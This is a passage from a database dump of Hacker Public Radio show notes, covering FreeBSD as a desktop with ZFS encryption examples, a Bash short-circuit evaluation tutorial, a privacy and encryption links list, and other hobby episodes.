autoremove\n</code></pre>\n<p>As you can see, the syntax is nearly identical to dnf or apt.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<p>The hierarchy of FreeBSD is slightly different than a typical Linux system. Refer to <code>man hier(7)</code> for more information.</p>\n<p>The biggest difference is that FreeBSD a logically organized system. For example: On Linux, everything seems to end up in <code>/bin</code> (which is a symlink to <code>/usr/bin</code>). Additionally, <code>/sbin</code> is just a symlink to <code>/usr/sbin</code>. On FreeBSD, the system is more organized. For example:</p>\n<p><code>/bin</code> contains everything required to boot the system and <code>/sbin</code> contains everything required for fundamental administration.</p>\n<p><code>/usr/bin</code> contains most everything else</p>\n<p><code>/usr/local</code> contains everything installed by the package management system.</p>\n<p>User installed programs are configured in <code>/usr/local/etc</code>. This might be confusing at first but you\'ll get the hang of it.</p>\n<p>This logical separation might cause confusion when compiling software from source on FreeBSD but it\'s not too difficult to solve if you already know how about linker options and makefile modification.</p>\n<p>As for filesystems, apparently ext2, ext3, and ext4 have read/write support using the <code>ext2fs(5)</code> driver. I probably wouldn\'t boot from them but this exists. UFS is not journaled by default, proceed with caution. ZFS is very good.</p>\n<h2 id=\"zfs-non-starter\">ZFS non-starter</h2>\n<p>ZFS is cool because we can create partitions on a whim. Here is some shell output demonstrating listing datasets, creating datasets with a quota, destroying datasets, creating and using encrypted datasets, etc.</p>\n<pre class=\"sh\"><code>root@freebsd:/ #\nroot@freebsd:/ # zfs list\nNAME USED AVAIL REFER MOUNTPOINT\nzroot 3.97G 434G 96K /zroot\nzroot/ROOT 3.82G 434G 96K none\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644 8K 434G 1.07G /\nzroot/ROOT/default 3.82G 434G 3.71G /\nzroot/tmp 208K 434G 112K /tmp\nzroot/usr 157M 434G 96K /usr\nzroot/usr/home 157M 434G 157M /usr/home\nzroot/usr/ports 96K 434G 96K /usr/ports\nzroot/usr/src 96K 434G 96K /usr/src\nzroot/var 1.04M 434G 96K /var\nzroot/var/audit 96K 434G 96K /var/audit\nzroot/var/crash 96K 434G 96K /var/crash\nzroot/var/log 424K 434G 300K /var/log\nzroot/var/mail 192K 434G 128K /var/mail\nzroot/var/tmp 160K 434G 96K /var/tmp\nroot@freebsd:/ # zfs list -t snapshot\nNAME USED AVAIL REFER MOUNTPOINT\nzroot@freshinstall 64K - 96K -\nzroot/ROOT@freshinstall 0B - 96K -\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644@freshinstall 0B - 1.07G -\nzroot/ROOT/default@2022-09-18-14:36:44-0 76.7M - 1.07G -\nzroot/ROOT/default@freshinstall 35.0M - 1.21G -\nzroot/tmp@freshinstall 96K - 112K -\nzroot/usr@freshinstall 0B - 96K -\nzroot/usr/home@freshinstall 96K - 128K -\nzroot/usr/ports@freshinstall 0B - 96K -\nzroot/usr/src@freshinstall 0B - 96K -\nzroot/var@freshinstall 0B - 96K -\nzroot/var/audit@freshinstall 0B - 96K -\nzroot/var/crash@freshinstall 0B - 96K -\nzroot/var/log@freshinstall 124K - 188K -\nzroot/var/mail@freshinstall 64K - 96K -\nzroot/var/tmp@freshinstall 64K - 96K -\nroot@freebsd:/ # zfs create zroot/crypt\nroot@freebsd:/ # zfs set quota=5g zroot/crypt\nroot@freebsd:/ # zfs list zroot/crypt\nNAME USED AVAIL REFER MOUNTPOINT\nzroot/crypt 96K 5.00G 96K /zroot/crypt\nroot@freebsd:/ # zfs destroy zroot/crypt\nroot@freebsd:/ # zfs create -o encryption=on -o keylocation=prompt -o keyformat=passphrase zroot/crypt\nEnter new passphrase:\nRe-enter new passphrase:\nroot@freebsd:/ # zfs list zroot/crypt\nNAME USED AVAIL REFER MOUNTPOINT\nzroot/crypt 200K 434G 200K /zroot/crypt\nroot@freebsd:/ # touch /zroot/crypt/supersecret\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\nroot@freebsd:/ # zfs get encryption zroot/crypt\nNAME PROPERTY VALUE SOURCE\nzroot/crypt encryption aes-256-gcm -\nroot@freebsd:/ # zfs unmount zroot/crypt\nroot@freebsd:/ # zfs unload-key -r zroot/crypt\n1 / 1 key(s) successfully unloaded\nroot@freebsd:/ # zfs mount zroot/crypt\ncannot mount &#39;zroot/crypt&#39;: encryption key not loaded\nroot@freebsd:/ # zfs get keystats zroot/crypt\nroot@freebsd:/ # zfs get keystatus zroot/crypt\nNAME PROPERTY VALUE SOURCE\nzroot/crypt keystatus unavailable -\nroot@freebsd:/ # zfs load-key -r zroot/crypt\nEnter passphrase for &#39;zroot/crypt&#39;:\nzfs 1 / 1 key(s) successfully loaded\nroot@freebsd:/ # zfs mount -a\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\n</code></pre>\n<hr />\n<h1 id=\"a-conclusion\">A conclusion</h1>\n<p>Really, I think FreeBSD is a viable desktop operating system for the types of people who already use Linux in a terminal-centric capacity. After all, UNIX is UNIX.</p>\n<hr />\n<h1 id=\"other-stuff\">Other stuff</h1>\n<p><a href=\"https://wiki.freebsd.org/JailingGUIApplications\">Running Firefox inside of a jail</a></p>\n<p><a href=\"https://forums.freebsd.org/threads/how-to-execute-firefox-in-a-jail-using-iocage-and-ssh-jailme.53362/\">Another way to run Firefox inside of a jail</a></p>\n<h2 id=\"freebsd-distros-that-come-with-a-desktop-out-of-the-box\">FreeBSD Distros that come with a desktop out of the box:</h2>\n<p><a href=\"https://www.ghostbsd.org\">GhostBSD - FreeBSD with MATE</a></p>\n<p><a href=\"https://hellosystem.github.io\">HelloSystem - FreeBSD with an Apple-like GUI (still in development)</a></p>\n<p><a href=\"https://www.midnightbsd.org\">MidnightBSD - FreeBSD with Xfce and a different package management system</a></p>\n<p><a href=\"https://nomadbsd.org\">NomadBSD - Live GUI FreeBSD with OpenBoX</a></p>\n<hr />\n<h4>Additional Links</h4>\n<p> Linux to FreeBSD quick start: <br />\n<a href=\"https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/\" target=\"_blank\">https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/</a><br />\n<br />\nSupported hardware: <br />\n<a href=\"https://wiki.freebsd.org/Laptops\" target=\"_blank\">https://wiki.freebsd.org/Laptops</a><br />\n<a href=\"https://bsd-hardware.info/\" target=\"_blank\">https://bsd-hardware.info/</a><br />\n<a href=\"https://dmesgd.nycbug.org/index.cgi\" target=\"_blank\">https://dmesgd.nycbug.org/index.cgi</a></p>\n\n<p><small><small>Editor\'s Note: This section was included from the comment sent by <a href=\"https://hackerpublicradio.org/correspondents/0406.html\">binrc</a>.</small></small></p>\n',406,0,1,'CC-BY-SA','FreeBSD',0,0,1),
(3704,'2022-10-13','Follow up to hpr3685 :: Budget and an Android app',104,'I add a calendar to the budget spreadsheet in LibreOffice','<h4 id=\"follow-up-on-hpr3685-budget-and-an-android-app\">Follow up on hpr3685 :: Budget and an Android app</h4>\n<p>I added a calendar from OpenOffice.org</p>\n<p><a href=\"https://templates.openoffice.org/en/template/any-year-calendar-holidays\" title=\"Open Office calendar template for any year\">OpenOffice.org Template</a></p>\n<p><img src=\"eps/hpr3704/Copy_sheet_1.png\" title=\"Copying a sheet, image 1\" alt=\"Copying a sheet, screenshot 1\" /></p>\n<p><img src=\"eps/hpr3704/Copy_sheet_2.png\" title=\"Copying a sheet, image 2\" alt=\"Copying a sheet screenshot 2\" /></p>\n<p><a href=\"eps/hpr3704/Design_mode_sm.png\" title=\"Switching to Design Mode\"><img src=\"eps/hpr3704/Design_mode_sm_thumbnail.png\" title=\"Switching to Design Mode\" alt=\"Switching to Design Mode\" /></a></p>\n<p><img src=\"eps/hpr3704/Form_control_sm.png\" title=\"Form Control example\" alt=\"Form Control example\" /></p>\n<p><a href=\"eps/hpr3704/Budget_Sample_Any_Year_2022-9-26_05.33.15.ods\" title=\"Budget sample with a calendar in LibreOffice\">Budget sample with a calendar in LibreOffice (Download link)</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, OpenOffice',0,0,1),
(3708,'2022-10-19','Insomnia as a Hobby',466,'Fighting insomnia? Enjoy it...with a few tricks!','<p>I struggle with insomnia, instead of dreading it - I rather enjoy it now...here\'s how!</p>\n',389,0,0,'CC-BY-SA','insomnia,podcasts,librivox',0,0,1),
(3713,'2022-10-26','Bash snippet - short-circuit evaluation in Bash Boolean expressions',1000,'Found I could do this in Bash, so wanted to share!','<article>\n<h2 id=\"preamble\">Preamble</h2>\n<p>This is a case where I came upon a thing in Bash I had never considered before and was pleased and surprised that there was a way of doing what I wanted to do! If this is completely obvious to you, apologies, but it wasnt to me!</p>\n<h2 id=\"overview\">Overview</h2>\n<p>Many programming languages have the concept of <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">short-circuit evaluation</a> in Boolean expressions. What this means is that in an expression such as:</p>\n<pre><code>A AND B</code></pre>\n<p>if <code>A</code> is <strong>false</strong> then the whole expression must be <strong>false</strong>, and <code>B</code> doesnt have to be evaluated. That is because both arguments to <code>AND</code> have to be <strong>true</strong> for the overall result to be <strong>true</strong>.</p>\n<p>If <code>A</code> is <strong>true</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>true</strong>.</p>\n<p>Similarly with:</p>\n<pre><code>A OR B</code></pre>\n<p>if <code>A</code> is <strong>true</strong> then the whole expression must be <strong>true</strong> and <code>B</code> can be skipped without evaluation. This is because only one argument to <code>OR</code> needs to be <strong>true</strong> to return a <strong>true</strong> result.</p>\n<p>If <code>A</code> is <strong>false</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>false</strong>.</p>\n<p>Both of these expressions are evaluated from left to right. This is not a given in all languages. Some use special operators such as <code>\'and_then\'</code> and <code>\'or_else\'</code> which explicitly perform short-circuiting and left-to-right evaluation.</p>\n<h3 id=\"definition\">Definition</h3>\n<p>In simple terms, short-circuiting is where the evaluation of an expression is stopped as soon as its outcome is determined.</p>\n<p>The Wikipedia article <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Short-circuit evaluation</a> defines it as:</p>\n<blockquote>\n<p>Short-circuit evaluation, minimal evaluation, or McCarthy evaluation (after John McCarthy) is the semantics of some Boolean operators in some programming languages in which the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND function evaluates to false, the overall value must be false; and when the first argument of the OR function evaluates to true, the overall value must be true.</p>\n</blockquote>\n<p>This article contains a table entitled <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\"><em>Boolean operators in various languages</em></a> which shows details of how various programming and scripting languages cater for this feature.</p>\n<h2 id=\"use-case\">Use case</h2>\n<p>I was writing a Bash script in which I wanted to ask questions about various steps - should they be done or not? Alternatively, I wanted to be able to set an option to run without interaction and assume the answer is <code>\'yes\'</code> to all questions.</p>\n<p>Id encountered <em>short-circuit evaluation</em> before in Pascal and Perl so I wondered if I could use it in Bash.</p>\n<p>The expression I was trying to write was:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n # Create directory\nfi</code></pre>\n<ul>\n<li>Variable <code>YES</code> is being set through an option <code>\'-Y\'</code>; its normally set to zero but is set to 1 if the option is used.</li>\n<li><code>yes_no</code> is a function I wrote, and talked about in <a href=\"https://hackerpublicradio.org/eps.php?id=2096\">HPR episode 2096: “Useful Bash functions - part 2”</a>.</li>\n</ul>\n<p>The requirement was that if <code>YES</code> was set to 1 I didnt want the function to be called at all.</p>\n<p>I was a little surprised, and very happy, to find that this is what happens.</p>\n<p>Here is the full example from the script that started me thinking about this issue - and therefore caused me to make this show:</p>\n<pre><code>#\n# We need a show directory. If it doesn&#39;t exist then we&#39;ll create it because\n# other scripts will use it.\n#\nif [[ ! -d $SHOWDIR ]]; then\n echo &quot;${red}There is no directory for show $show${reset}&quot;\n\n #\n # If the -Y option was not chosen ask with &#39;yes_no&#39;. It -Y was chosen\n # we&#39;re to go ahead regardless. This relies on the fact that Bash\n # &quot;short-circuits&quot; logical expressions like this.\n #\n if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n mkdir &quot;$SHOWDIR&quot;\n _silent &quot;${green}Directory created for show $show${reset}&quot;\n else\n _silent &quot;${yellow}Not changed${reset}&quot;\n fi\nfi</code></pre>\n<p><strong>Notes</strong>:</p>\n<ul>\n<li>I have a Bash function that defines colours which is included into this script. Thats why you see <code>\'echo \"${red}...${reset}\"\'</code> in the above. I also have a function to turn off colour by setting the relevant variables to empty strings.</li>\n<li>The <code>\'yes_no\'</code> function takes a prompt string with an (optional) <code>\'%s\'</code> placeholder for the expected inputs and default. This is followed by the default: <code>\'N\'</code>.</li>\n<li>The function <code>\'_silent\'</code> writes the message given as its argument, depending on the setting of a <code>\'SILENT\'</code> variable set earlier.</li>\n</ul>\n<h2 id=\"should-it-be-used\">Should it be used?</h2>\n<h3 id=\"case-1\">Case 1</h3>\n<p>Bash uses short-circuiting in other contexts. This was discussed in the <em>Bash Tips</em> series, <a href=\"https://hackerpublicradio.org/eps.php?id=2649\">episode 10</a> with the example:</p>\n<pre><code>[ -e /some/file ] || exit 1</code></pre>\n<p>Here the test is performed using <code>\'-e\'</code> to determine if <code>\'/some/file\'</code> exists. The result is either <strong>true</strong> or <strong>false</strong>. If the test returns <strong>true</strong> then the overall result of the <em>or</em> is <strong>true</strong> and the evaluation is short-circuited so that the <code>\'exit 1\'</code> is not invoked. If the test is <strong>false</strong> then the second expression has to be evaluated to determine the overall result, so the <code>\'exit 1\'</code> is invoked and the script exits.</p>\n<p>Incidentally, the <code>\'[ -e file ]\'</code> construct is actually an instance of the <code>test</code> command so could be written:</p>\n<pre><code>test -e /some/file || exit 1</code></pre>\n<p>You might be familiar with command pipelines which use this technique, such as:</p>\n<pre><code>sudo apt update &amp;&amp; sudo apt upgrade</code></pre>\n<p>If the <code>\'apt update\'</code> is successful the <code>\'apt upgrade\'</code> is run. If it fails then the second command is not run.</p>\n<h3 id=\"case-2\">Case 2</h3>\n<p>We have seen the example that prompted me to make this show:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n # Create directory\nfi</code></pre>\n<p>This could have been written as:</p>\n<pre><code>if [[ $YES -eq 1 ]]; then\n # Create directory\nelif yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n # Create directory\nfi</code></pre>\n<p>I prefer the first way, but it could be argued in a development environment that co-workers might find it confusing.</p>\n<h3 id=\"conclusion\">Conclusion</h3>\n<p>So, my conclusion is that short-circuiting is a desirable feature that I will continue to use.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Wikipedia:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Wikipedia article on short-circuit evaluation</a>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\">Table entitled <em>Boolean operators in various languages</em></a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Conditional_(programming)\">Wikipedia article on conditional constructs in programming</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Truth-value\">Wikipedia article on Truth values in logic, mathematics and programming</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR shows:\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2096\"><em>Useful Bash functions - part 2</em></a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\"><em>More ancillary Bash tips - 10</em></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash,Boolean expression,short-circuit evaluation',0,0,1),
(3703,'2022-10-12','McCurdy House Tour',767,'operat0r brings us on a House Tour','<p>CL4P-TP Claptrap Borderlands Lego Bricklink<br />\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf</a><br />\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml</a></p>\n<p>Lightsabers (get mystery box or whatever boneyard etc because much cheaper if you really just want programable full pixel blade)<br />\n<a href=\"https://www.crimsondawn.com/products/mystery-box?variant=33206141681741\" class=\"uri\">https://www.crimsondawn.com/products/mystery-box?variant=33206141681741</a></p>\n<p>I paid $268USD for Neopixel Proffie ( I think it\'s all xenopixel stuff nowadays ): <a href=\"https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF\" class=\"uri\">https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF</a></p>\n<p>RGB\'s from LGT Store (60-70$)<br />\n<a href=\"https://www.aliexpress.com/store/1101560967\" class=\"uri\">https://www.aliexpress.com/store/1101560967</a></p>\n',36,0,1,'CC-BY-SA','ASMR',0,0,1),
(3707,'2022-10-18','Recovering a Massive 3.5 HP Electric Motor from a Treadmill',1006,'Retrieval of future robot parts in the field','<p><em>Figure 1 - trash</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig1trash.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig1trash_thumbnail.jpg\" alt=\"Figure 1 - trash\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2 - close-up</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig2close.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig2close_thumbnail.jpg\" alt=\"Figure 2 - close-up\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3 - screen</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig3screen.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig3screen_thumbnail.jpg\" alt=\"Figure 3 - screen\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3 - parts collected</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig4gets.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig4gets_thumbnail.jpg\" alt=\"Figure 3 - parts collected\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 5 - scrap iron</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig5iron.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig5iron_thumbnail.jpg\" alt=\"Figure 5 - scrap iron\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 6 - size comparison</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig6compare.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig6compare_thumbnail.jpg\" alt=\"Figure 6 - size comparison\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics',0,0,1),
(3709,'2022-10-20','Relationships to games and console generations',568,'Some ramblings about what next generation consoles used to mean to games, gamers and game developers','<p>I talk about my views on how much of an impact technological jumps\nused to make on gaming in previous decades vs this decade.</p>\n',412,0,0,'CC-BY-SA','Video Games, Game Consoles',0,0,1),
(3715,'2022-10-28','Secret hat conversations, Part 2.',3899,'Twin Tin Hats, feat. archer72.','<ul>\n<li><p><strong>Quantum computing</strong></p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Quantum_computing\">Quantum\ncomputing</a> is a type of computation whose operations can harness the\nphenomena of quantum mechanics, such as superposition, interference, and\nentanglement. Devices that perform quantum computations are known as\nquantum computers. Though current quantum computers are too small to\noutperform usual (classical) computers for practical applications,\nlarger realizations are believed to be capable of solving certain\ncomputational problems, such as integer factorization (which underlies\nRSA encryption), substantially faster than classical computers.</li>\n<li>Today&#x2019;s <a\nhref=\"https://www.intel.com/content/www/us/en/research/quantum-computing.html\">quantum\nsystems</a> only include tens or hundreds of entangled qubits, limiting\nthem from solving real-world problems. To achieve quantum practicality,\ncommercial quantum systems need to scale to over a million qubits and\novercome daunting challenges like qubit fragility and software\nprogrammability.</li>\n<li><a\nhref=\"https://www.cnet.com/tech/computing/quantum-computers-could-crack-todays-encrypted-messages-thats-a-problem/\">Quantum\ncomputers</a>, if they mature enough, will be able to crack much of\ntoday\'s encryption. That\'ll lay bare private communications, company\ndata and military secrets. Today\'s quantum computers are too rudimentary\nto do so. But data surreptitiously gathered now could still be sensitive\nwhen more powerful quantum computers come online in a few years.</li>\n<li><a\nhref=\"https://www.intego.com/mac-security-blog/how-quantum-computing-will-affect-computer-security-and-passwords/\">Simple\npasswords</a> can be cracked using brute force; this is where an\nattacker uses tools that try every possible password until the correct\none is found. This generally done using a dictionary attack, where an\nattacker will try known passwords and words until they find the one that\nunlocks an account. There are databases available on the internet that\ncontain personal names as well as dictionary and slang words, in scores\nof languages, along with passwords found in data breaches, and\nmore.</li>\n</ul></li>\n<li><p><strong>Encryption.</strong></p>\n<ul>\n<li>The <a\nhref=\"https://www.nist.gov/publications/advanced-encryption-standard-aes\">Advanced\nEncryption Standard</a> (AES) specifies a FIPS-approved cryptographic\nalgorithm that can be used to protect electronic data. The AES algorithm\nis a symmetric block cipher that can encrypt (encipher) and decrypt\n(decipher) information. Encryption converts data to an unintelligible\nform called ciphertext; decrypting the ciphertext converts the data back\ninto its original form, called plaintext. The AES algorithm is capable\nof using cryptographic keys of 128, 192, and 256 bits to encrypt and\ndecrypt data in blocks of 128 bits.</li>\n<li>The National Security Agency (NSA) reviewed all the <a\nhref=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>\nfinalists, including Rijndael, and stated that all of them were secure\nenough for U.S. Government non-classified data. In June 2003, the U.S.\nGovernment announced that AES could be used to protect classified\ninformation: For cryptographers, a cryptographic \"break\" is anything\nfaster than a brute-force attack &#x2013; i.e., performing one trial decryption\nfor each possible key in sequence. A break can thus include results that\nare infeasible with current technology. Despite being impractical,\ntheoretical breaks can sometimes provide insight into vulnerability\npatterns. The largest successful publicly known brute-force attack\nagainst a widely implemented block-cipher encryption algorithm was\nagainst a 64-bit RC5 key by distributed.net in 2006.</li>\n</ul></li>\n<li><p><strong>Password Management.</strong></p>\n<ul>\n<li><a href=\"https://bitwarden.com/\">Bitwarden</a></li>\n<li><a href=\"https://keepassxc.org/\">KeepassXC</a></li>\n<li><a\nhref=\"https://www.mass.gov/guides/password-best-practices-and-recommendations\">Tips\nfor creating a strong password</a>\n<ul>\n<li>Enable Two-Factor authentication whenever possible. While a great\npassphrase will help secure you and the Commonwealth&#x2019;s data, a second\nfactor makes it that much more difficult for hackers to gain\naccess.</li>\n</ul></li>\n</ul></li>\n<li><p><strong>Password Generation.</strong></p>\n<ul>\n<li>pwgen : found in most linux repos</li>\n<li><a href=\"https://linux.die.net/man/1/pwgen\"\ntitle=\"Man page for pwgen\npassword generator\">Man page for pwgen</a></li>\n<li>Example : pwgen -y 50 3 : generates a 50 character password with\nsymbols, with 3 choices</li>\n</ul></li>\n<li><p><strong>Google and Amazon are listening</strong></p>\n<ul>\n<li><a\nhref=\"https://www.cnet.com/home/smart-home/amazon-and-google-are-listening-to-your-voice-recordings-heres-what-we-know\"\ntitle=\"CNET article on Google and Amazon\">CNET article on Google and\nAmazon</a></li>\n</ul></li>\n</ul>\n<pre><code> &quot;I don&#39;t blame anyone who doesn&#39;t want to fill their house with cameras and\n microphones, but I also don&#39;t blame anyone who&#39;s willing to trade some of their\n data with a company they feel comfortable with in order to bring some new\n convenience and utility into their lives. It&#39;s nearly impossible to navigate\n today&#39;s age without making trades like that on a daily basis.&quot;</code></pre>\n<hr />\n<p>What is <a\nhref=\"https://www.geeksforgeeks.org/what-is-web-scraping-and-how-to-use-it/\">Web\nScraping</a>? Web scraping is an automatic method to obtain large\namounts of data from websites.</p>\n<p>What is <a\nhref=\"https://www.geeksforgeeks.org/what-is-machine-learning/\">Machine\nLearning</a>? Machine Learning, as the name says, is all about machines\nlearning automatically without being explicitly programmed or learning\nwithout any direct human intervention. This machine learning process\nstarts with feeding them good quality data and then training the\nmachines by building various machine learning models using the data and\ndifferent algorithms.</p>\n<hr />\n<ol type=\"1\">\n<li>The <a\nhref=\"https://www.jacksonvilledivorcelawyerblog.com/divorce_records_used_in_politi/\">October\nSuprise</a>.</li>\n<li>The <a\nhref=\"https://www.hrw.org/news/2018/01/09/interview-when-us-government-hides-evidence\">fruit\nof the poisonous tree</a>.</li>\n<li>This Is the Data Facebook Gave Police to <a\nhref=\"https://www.vice.com/en/article/n7zevd/this-is-the-data-facebook-gave-police-to-prosecute-a-teenager-for-abortion\">Prosecute\na Teenager for Abortion</a>.</li>\n<li>Google is <a\nhref=\"https://www.cnet.com/news/privacy/google-is-giving-data-to-police-based-on-search-keywords-court-docs-show/\">giving\ndata to police</a> based on search keywords, court docs show.</li>\n<li>Google bans dad for &#x2018;child porn&#x2019; after <a\nhref=\"https://nypost.com/2022/08/22/google-bans-dad-for-sending-pics-of-toddlers-swollen-genitals-to-doctor/\">he\nsent pics of toddler&#x2019;s swollen genitals to doctor</a>.</li>\n<li>Proton VPN <a\nhref=\"https://protonvpn.com/blog/transparency-report/\">Transparency\nReport &amp; Warrant Canary</a>.</li>\n</ol>\n',391,0,1,'CC-BY-SA','Tin hat, Quantum computing, Encryption, Conspiracy',0,0,1),
(3981,'2023-11-06','HPR Community News for October 2023',3085,'HPR Volunteers talk about shows released and comments posted in October 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0425.html\" target=\"_blank\">gemlog</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3956/index.html\" target=\"_blank\">3956</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3956/index.html\" target=\"_blank\">HPR Community News for September 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3957/index.html\" target=\"_blank\">3957</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3957/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3958/index.html\" target=\"_blank\">3958</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3958/index.html\" target=\"_blank\">Bikepacking in 1993 without technology</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3959/index.html\" target=\"_blank\">3959</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3959/index.html\" target=\"_blank\">Download any HPR series with english file names</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0425.html\" target=\"_blank\">gemlog</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3960/index.html\" target=\"_blank\">3960</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3960/index.html\" target=\"_blank\">On The Road At Last</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html\" target=\"_blank\">3961</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html\" target=\"_blank\">RERE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3962/index.html\" target=\"_blank\">3962</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3962/index.html\" target=\"_blank\">It\'s your data</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3963/index.html\" target=\"_blank\">3963</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3963/index.html\" target=\"_blank\">Storytelling 